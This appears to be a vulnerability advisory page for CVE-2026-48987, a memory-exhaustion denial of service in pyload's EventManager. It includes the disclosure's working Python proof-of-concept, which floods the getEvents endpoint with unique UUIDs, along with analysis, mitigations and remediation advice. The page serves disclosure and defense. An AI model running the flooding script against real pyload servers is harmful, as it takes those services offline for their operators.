pyload CVE-2026-48987
MEDIUMSeverity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Network-reachable API requires low-privilege authentication (API key); no complexity beyond credential possession; availability-only impact via OOM exhaustion.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
Lifecycle Timeline
1DescriptionGitHub Advisory
Description:
The EventManager module in pyload manages a list of Client instances for subscribing to events. The addition of each unique uuid from the get_events API causes the creation of a Client instance that gets appended to the clients list. Although there is a clean() method available in the EventManager module for removing non-responding Client instances, this method is never used in the EventManager or in the entire core application code. Consequently, this causes an uncontrolled growth in memory consumption until it becomes exhausted, resulting in a DoS attack.
Vulnerable Code:
https://github.com/pyload/pyload/blob/355c3f8d78a91f72d049e58f1edee8a972f845eb/src/pyload/core/managers/event_manager.py#L16-L17
> Here the client is added to the clients list but never cleared the inactive clients.
Exploitation:
- Start pyLoad server (Ensure the
pyloadserver is running) - Authenticate: Obtain a session cookie or an API key (Here i used the API key).
- Send Requests: Run the below poc script to send a large number of requests to the
getEventsAPI endpoint, each with a uniqueuuid.
import requests
import uuid
import time
# Configuration
URL = "http://localhost:8000/api/getEvents"
NUM_REQUESTS = 100000
headers = {
"X-API-Key" : "<YOUR_APIKEY>"
}
print(f"Starting DoS attack: sending {NUM_REQUESTS} unique UUIDs...")
for i in range(NUM_REQUESTS):
# Generating a new UUID
uid = str(uuid.uuid4())
try:
# Sending request
requests.get(URL, params={"uuid": uid}, headers=headers, timeout=5)
if i % 1000 == 0:
print(f"Sent {i} requests...")
except requests.exceptions.RequestException as e:
print(f"Error at request {i}: {e}")
break
print("Attack complete. Check memory usage.")
- Monitor Memory: Monitor the memory usage of the
pyloadprocess (e.g., usingtop,psor the following commands).
PID=$(pgrep -f "pyload"); while true; do ps -o rss= -p $PID; sleep 1; done- Observe Growth: Notice that the memory consumption increases and never decreases, even after the requests stop and 30 seconds.
https://github.com/user-attachments/assets/28d460c9-655d-45a1-a47f-c0f4d196f686
Impact:
- Denial of Service (DoS). The
pyloadprocess will consume all available system memory, leading to an Out-of-Memory (OOM) kill by the operating system or system-wide instability, affecting other services on the host.
Mitigations:
- Invoke
clean(): Callself.clean()at the beginning of theget_eventsmethod to purge inactive clients before processing new ones. - Rate Limiting: Implement rate limiting on the
getEventsendpoint to prevent a single client from flooding the server with unique UUIDs.
AnalysisAI
Memory exhaustion in pyload's EventManager module allows authenticated remote attackers to cause a denial of service by sending large volumes of requests to the getEvents API endpoint with unique UUIDs. Each unique UUID causes a new Client instance to be appended to the internal clients list, but the existing clean() method that would purge inactive clients is never invoked anywhere in the codebase, resulting in unbounded memory growth. No public exploit is independently catalogued, but a functional proof-of-concept script was included in the disclosure, demonstrating that the attack can be executed with a valid API key and approximately 100,000 HTTP GET requests.
Technical ContextAI
pyload (distributed as the pyload-ng pip package) is a Python-based download manager with a web API. The EventManager module maintains a list of Client instances for event subscription tracking. The get_events API endpoint creates a new Client object and appends it to the clients list for every unique UUID parameter submitted. A clean() method exists within EventManager and is designed to remove non-responding clients, but is never called during the get_events flow or anywhere else in the core application. This is a classic CWE-400 (Uncontrolled Resource Consumption) pattern where a server-side data structure grows without bound in response to attacker-controlled input. The affected package is pkg:pip/pyload-ng. The root cause is an incomplete implementation - the cleanup mechanism exists but is disconnected from the code path that populates the list.
RemediationAI
No vendor-released patched version has been identified at time of analysis. The upstream GitHub advisory (https://github.com/pyload/pyload/security/advisories/GHSA-c2f9-4mc8-j656) describes the issue but does not reference a tagged release with the fix applied. The correct code-level fix is to invoke self.clean() at the beginning of the get_events method before processing new UUID-keyed client additions, which would purge inactive clients on every call. As an immediate compensating control, operators should implement rate limiting on the /api/getEvents endpoint - either via a reverse proxy (e.g., nginx limit_req_zone) or application-level throttling - to prevent a single authenticated client from flooding the server with unique UUIDs. Trade-off: rate limiting alone does not fix the memory leak; slow attacks with many authenticated clients could still exhaust memory over longer time horizons. A second option is to restrict API key issuance and rotate existing keys, reducing the population of actors who can trigger the endpoint. If the instance is not required to be internet-facing, restricting access to trusted networks via firewall rules eliminates remote exploitation entirely.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Same weakness CWE-400 – Uncontrolled Resource Consumption
View allSame technique Denial Of Service
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-c2f9-4mc8-j656